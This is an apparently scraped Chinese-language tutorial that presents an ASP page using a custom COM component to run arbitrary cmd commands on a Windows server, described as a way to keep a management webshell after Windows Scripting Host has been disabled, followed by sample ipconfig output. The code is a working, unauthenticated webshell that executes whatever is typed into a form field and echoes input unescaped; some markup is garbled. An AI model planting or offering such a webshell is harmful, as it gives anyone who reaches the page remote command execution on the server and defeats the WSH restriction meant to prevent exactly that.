有時我們在管理服務器時為了安全起見會禁用windows scripting host,這樣能防止某些不法用戶利用wsh生成一個webshell,對服務器造成很大的安全隱患。但如果我們又想禁用wsh,又想使用自己的webshell用於服務器的管理怎麼辦呢?這裡介紹了一種實現asp中運行cmd並顯示結果的組件編程。希望對大家能有所幫助。
|||t;text/css>
<!--
.singleborder {
border: 1px solid;
background-color: #000000;
font-family: arial, helvetica, sans-serif;
color: #ffffff;
}
.noborder {
border: 1px none;
background-color: #000000;
font-family: arial, helvetica, sans-serif;
color: #ffffff;
}
body{background-color: #000000;scrollbar-face-color: #333333; font-size: 12px; scrollbar-highlight-color: #000000; scrollbar-shadow-color: #000000; scrollbar-3dlight-color: #000000 ; scrollbar-arrow-color: #000000; scrollbar-track-color: #000000; scrollbar-darkshadow-color: #000000
font-family: fixedsys; font-size: 9pt}
-->
</style>
<form action= method=post>
<input name=cmd class=singleborder value=<%=request.form(cmd)%> size=102>
<input type=submit class=singleborder value=execute>
</form>
<%
if request.form(cmd)<> then
set testme=server.createobject(aspcmd.cmdshell)
%>
<div class=noborder><%=request.form(cmd)%></div><br>
<textarea cols=120 rows=30 class=noborder>
<%=testme.exec1(request.form(cmd))%></textarea>
<% set testme=nothing
end if
%>
以下是運行ipconfig /all的結果:
windows 2000 ip configuration
host name . . . . . . . . . . . . : ibm-wrk-02
primary dns suffix . . . . . . . :
node type . . . . . . . . . . . . : broadcast
ip routing enabled. . . . . . . . : no
wins proxy enabled. . . . . . . . : no
ethernet adapter 本地連接:
connection-specific dns suffix . :
description . . . . . . . . . . . : intel(r) pro/100 vm network connection
physical address. . . . . . . . . : 00-08-02-bd-d7-eb
dhcp enabled. . . . . . . . . . . : no
ip address. . . . . . . . . . . . : 192.168.0.4
subnet mask . . . . . . . . . . . : 255.255.255.0
default gateway . . . . . . . . . : 192.168.0.1
dns servers . . . . . . . . . . . : 202.106.196.115